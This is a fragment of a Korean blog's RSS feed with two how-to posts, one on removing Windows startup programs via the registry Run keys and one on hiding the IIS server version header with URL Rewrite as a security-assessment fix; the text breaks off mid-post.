      <link>https://chmodi.tistory.com/139</link>
      <description>&lt;p&gt;&lt;b&gt;&lt;span&gt;쓸 데없는 프로그램들이&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;시작프로그램에 등록되서 &lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;윈도우가 자꾸 느려진다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;레지스트리에서&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;등록된 시작프로그램을 삭제하여&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;좀더 쾌적하게 윈도우를 사용할 수 있다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;&lt;span&gt;레지스트리의 시작프로그램 위치&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;레지스트리에서&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;시작프로그램들의 위치는 다음과 같다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;- HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;저 위치에서 원하지 않는&lt;/p&gt;
&lt;p&gt;시작프로그램 값들을 삭제하면 된다.&lt;/p&gt;
&lt;p&gt;작업 과정은 아래와 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;1. 실행(Ctrl + r) &amp;gt; regedit.exe &amp;gt; 엔터&lt;br /&gt;&lt;br /&gt;2. 위의 레지스트리 위치로 이동&lt;br /&gt;&lt;br /&gt;3. 원치 않는 시작프로그램 삭제&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아래는 레지스트리의 모습이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;이미지 1.png&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;249&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B9cKF/btq4bs0638p/8CXuZ0v9KDMsLVGasdxSbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B9cKF/btq4bs0638p/8CXuZ0v9KDMsLVGasdxSbK/img.png&quot; data-alt=&quot;레지스트리 모습&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B9cKF/btq4bs0638p/8CXuZ0v9KDMsLVGasdxSbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB9cKF%2Fbtq4bs0638p%2F8CXuZ0v9KDMsLVGasdxSbK%2Fimg.png&quot; data-filename=&quot;이미지 1.png&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;249&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;레지스트리 모습&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;원하지 않는 프로그램의 키를 삭제하면&lt;/p&gt;
&lt;p&gt;시작프로그램에 바로 적용된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;이미지 2.png&quot; data-origin-width=&quot;708&quot; data-origin-height=&quot;622&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uBgj8/btq4bmGRFfS/xvkcfcX6UnK29YnUU7ZOUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uBgj8/btq4bmGRFfS/xvkcfcX6UnK29YnUU7ZOUk/img.png&quot; data-alt=&quot;시작프로그램 모습&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uBgj8/btq4bmGRFfS/xvkcfcX6UnK29YnUU7ZOUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuBgj8%2Fbtq4bmGRFfS%2FxvkcfcX6UnK29YnUU7ZOUk%2Fimg.png&quot; data-filename=&quot;이미지 2.png&quot; data-origin-width=&quot;708&quot; data-origin-height=&quot;622&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;시작프로그램 모습&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Tip.../환경세팅</category>
      <category>regedit</category>
      <category>레지스트리</category>
      <category>시작프로그램</category>
      <category>윈도우10</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/139</guid>
      <comments>https://chmodi.tistory.com/139#entry139comment</comments>
      <pubDate>Wed, 5 May 2021 15:55:16 +0900</pubDate>
    </item>
    <item>
      <title>[금취분평] 시스템 운영정보 노출 여부 항목 - IIS 보안 조치(URL Rewrite)</title>
      <link>https://chmodi.tistory.com/138</link>
      <description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;금융위 취약점 분석 평가 항목 중&lt;/p&gt;
&lt;p&gt;시스템 운영정보 노출 항목에 대한&lt;/p&gt;
&lt;p&gt;보안 조치 방안 중&lt;/p&gt;
&lt;p&gt;윈도우 IIS에서 할 수 있는&lt;/p&gt;
&lt;p&gt;조치 방안 입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;테스트 환경&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이번 포스팅을 위해&lt;/p&gt;
&lt;p&gt;세팅한 테스트 환경입니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;OS: Window 10&lt;br /&gt;Web: IIS 10.0&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;윈도우 PC의 IIS 서버 기능을&lt;/p&gt;
&lt;p&gt;활성화하여 사용했습니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;시스템 운영정보 노출?&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;21년 금취분평 항목에서&lt;/p&gt;
&lt;p&gt;시스템 운영정보 노출 항목은&lt;/p&gt;
&lt;p&gt;아래와 같이 설명하고 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;항목 명: 시스템 운영정보 노출 여부&lt;/b&gt;&lt;br /&gt;&lt;b&gt;대상: WEB, MOB, HTS&lt;/b&gt;&lt;br /&gt;&lt;b&gt;ID: SER-031&lt;/b&gt;&lt;br /&gt;&lt;b&gt;통제구분: (일반공통) 서비스 보호&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;상세 설명:&lt;/b&gt;&lt;br /&gt;- 웹 서버의 소스 코드(HTML) 및 오류 메시지를 통한&lt;br /&gt;&amp;nbsp; 정보 노출 가능성이 존재하며,&lt;br /&gt;&amp;nbsp; 시스템 운영정보 노출 여부를 점검&lt;br /&gt;&lt;br /&gt;&lt;b&gt;평가 예시:&lt;/b&gt;&lt;br /&gt;- 개발자 도구 및 웹 프록시 도구를 이용하여&lt;br /&gt;&amp;nbsp; 서버로 부터 중요정보의 전달 여부 점검&lt;br /&gt;&lt;br /&gt;- 에러 발생 시 절대 경로 주소나&lt;br /&gt;&amp;nbsp; 웹 서버 버전 정보 등이&lt;br /&gt;&amp;nbsp; 발생 여부 점검 등&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;평가 예시가 다양한 만큼&lt;/p&gt;
&lt;p&gt;이 항목에 해당하는 취약점 또한&lt;/p&gt;
&lt;p&gt;다양합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이번 포스팅에서 설명할&lt;/p&gt;
&lt;p&gt;보안 조치 방안에 대한&lt;/p&gt;
&lt;p&gt;취약점은 아래와 같습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;취약점.png&quot; data-origin-width=&quot;685&quot; data-origin-height=&quot;389&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nKach/btq0Pb1RFjL/IhRC6VVrUEsaviWdsAmPwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nKach/btq0Pb1RFjL/IhRC6VVrUEsaviWdsAmPwK/img.png&quot; data-alt=&quot;HTTP Response에 나타난 서버 버전 정보&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nKach/btq0Pb1RFjL/IhRC6VVrUEsaviWdsAmPwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnKach%2Fbtq0Pb1RFjL%2FIhRC6VVrUEsaviWdsAmPwK%2Fimg.png&quot; data-filename=&quot;취약점.png&quot; data-origin-width=&quot;685&quot; data-origin-height=&quot;389&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;HTTP Response에 나타난 서버 버전 정보&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이 취약점은&lt;/p&gt;
&lt;p&gt;HTTP Response의 Header에&lt;/p&gt;
&lt;p&gt;서버의 버전 정보가&lt;/p&gt;
&lt;p&gt;노출되는 취약점 입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이걸로 무슨 해킹을 하냐고&lt;/p&gt;
&lt;p&gt;할 수 있으나,&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이 정보를 통해&lt;/p&gt;
&lt;p&gt;사용 중인 서버의 정보를 파악하고&lt;/p&gt;
&lt;p&gt;파악된 정보를 토대로&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;알려진 취약점(Zero-day 취약점)을&lt;/p&gt;
&lt;p&gt;시도할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;직접적인 공격이 아닌&lt;/p&gt;
&lt;p&gt;제대로된 공격을 시도하기 위한&lt;/p&gt;
&lt;p&gt;정보를 제공하는 취약점 입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;조치 방안: URL Rewrite 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;URL Rewrite?&lt;br /&gt;&lt;/b&gt;- Client의 요청(HTTP Request) 형태에 따라&lt;br /&gt;&amp;nbsp; &lt;b&gt;HTTP Response의 형태를&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; 재정의(Rewrite) 하는 모듈&lt;/b&gt; 입니다.&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아래 링크에서 다운받아 설치하면 됩니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;1.0과 2.0이 있는 데&lt;/p&gt;
&lt;p&gt;아래 링크에서 재공하는&lt;/p&gt;
&lt;p&gt;URL Rewrite가 2.0 이기 때문에&lt;/p&gt;
&lt;p&gt;그냥 설치하시면 됩니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;URL Rewrite 2.0 다운로드:&lt;br /&gt;&lt;a href=&quot;https://www.iis.net/downloads/microsoft/url-rewrite&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.iis.net/downloads/microsoft/url-rewrite&lt;/a&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;0.png&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;83&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cchouw/btq0JxZmif4/7Q4a4HYn7Cjo6TXqXag8l0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cchouw/btq0JxZmif4/7Q4a4HYn7Cjo6TXqXag8l0/img.png&quot; data-alt=&quot;URL Rewrite 2.0 다운로드 및 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cchouw/btq0JxZmif4/7Q4a4HYn7Cjo6TXqXag8l0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcchouw%2Fbtq0JxZmif4%2F7Q4a4HYn7Cjo6TXqXag8l0%2Fimg.png&quot; data-filename=&quot;0.png&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;83&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;URL Rewrite 2.0 다운로드 및 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;URL Rewrite 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;설치가 끝났으면 이제 설정을 시작합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;전체 요약은 아래와 같습니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. &lt;span&gt;IIS(&lt;/span&gt;&lt;span&gt;인터넷 정보 서비스&lt;span&gt;) &lt;/span&gt;관리자 &lt;span&gt;&amp;gt; &lt;/span&gt;조치 대상 사이트 &lt;span&gt;&amp;gt; URL &lt;/span&gt;재작성 선택&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;2. 서버 변수 보기&amp;hellip; &amp;gt; 추가&amp;hellip; &amp;gt; RESPONSE_SERVER 입력 &amp;gt; 확인&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 뒤로가기(URL 재작성) &amp;gt; 규칙 추가&amp;hellip; &amp;gt; 아웃바운드 규칙 &amp;gt; 빈 규칙 선택&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. 아래와 같이 입력한 후 '적용' 선택&lt;/b&gt;&lt;br /&gt;- 이름: 원하는 데로 입력 &lt;br /&gt;- 검색 범위: 서버 변수&lt;br /&gt;- 변수 이름: RESPONSE_SERVER&lt;br /&gt;- 패턴: .*&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;세부 순서 입니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. IIS(인터넷 정보 서비스)&amp;nbsp;관리자&amp;nbsp;&amp;gt;&amp;nbsp;조치 대상 사이트&amp;nbsp;&amp;gt; URL&amp;nbsp;재작성 선택&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;901&quot; data-origin-height=&quot;764&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfCKTJ/btq0Oj6VfWx/26p1H1Ytz4fOFTvNBrlZJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfCKTJ/btq0Oj6VfWx/26p1H1Ytz4fOFTvNBrlZJ1/img.png&quot; data-alt=&quot;URL 재작성 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfCKTJ/btq0Oj6VfWx/26p1H1Ytz4fOFTvNBrlZJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfCKTJ%2Fbtq0Oj6VfWx%2F26p1H1Ytz4fOFTvNBrlZJ1%2Fimg.png&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;901&quot; data-origin-height=&quot;764&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;URL 재작성 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;2. 서버 변수 보기&amp;hellip; &amp;gt; 추가&amp;hellip; &amp;gt; RESPONSE_SERVER 입력 &amp;gt; 확인&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;410&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dzK8jq/btq0MT8IJIc/fJo24iNeUnI4b99XJPP8Fk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dzK8jq/btq0MT8IJIc/fJo24iNeUnI4b99XJPP8Fk/img.png&quot; data-alt=&quot;서버 변수 보기 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dzK8jq/btq0MT8IJIc/fJo24iNeUnI4b99XJPP8Fk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdzK8jq%2Fbtq0MT8IJIc%2FfJo24iNeUnI4b99XJPP8Fk%2Fimg.png&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;410&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;서버 변수 보기 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;440&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xxLjC/btq0Nwk5rZ4/91bjWkS0LohGEyAoot3vMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xxLjC/btq0Nwk5rZ4/91bjWkS0LohGEyAoot3vMk/img.png&quot; data-alt=&quot;RESPONSE_SERVER 입력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xxLjC/btq0Nwk5rZ4/91bjWkS0LohGEyAoot3vMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxxLjC%2Fbtq0Nwk5rZ4%2F91bjWkS0LohGEyAoot3vMk%2Fimg.png&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;440&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;RESPONSE_SERVER 입력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;3. 뒤로가기(URL 재작성) &amp;gt; 규칙 추가&amp;hellip; &amp;gt; 아웃바운드 규칙 &amp;gt; 빈 규칙 선택&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;678&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oe9LX/btq0NwrSsZ3/a8u405YDSu5jE3IBzMjCV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oe9LX/btq0NwrSsZ3/a8u405YDSu5jE3IBzMjCV0/img.png&quot; data-alt=&quot;아웃바운드 규칙 &amp;amp;amp;gt; 빈 규칙 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oe9LX/btq0NwrSsZ3/a8u405YDSu5jE3IBzMjCV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Foe9LX%2Fbtq0NwrSsZ3%2Fa8u405YDSu5jE3IBzMjCV0%2Fimg.png&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;678&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;아웃바운드 규칙 &amp;gt; 빈 규칙 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;4. 아래와 같이 입력한 후 '적용' 선택&lt;/b&gt;&lt;br /&gt;- 이름: 원하는 데로 입력&lt;br /&gt;- 검색 범위: 서버 변수&lt;br /&gt;- 변수 이름: RESPONSE_SERVER&lt;br /&gt;- 패턴: .*&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;1040&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2Uu9r/btq0Nu1S0aV/kDwWCagxUwdjCIys8GS1z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2Uu9r/btq0Nu1S0aV/kDwWCagxUwdjCIys8GS1z0/img.png&quot; data-alt=&quot;규칙 적용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2Uu9r/btq0Nu1S0aV/kDwWCagxUwdjCIys8GS1z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2Uu9r%2Fbtq0Nu1S0aV%2FkDwWCagxUwdjCIys8GS1z0%2Fimg.png&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;960&quot; 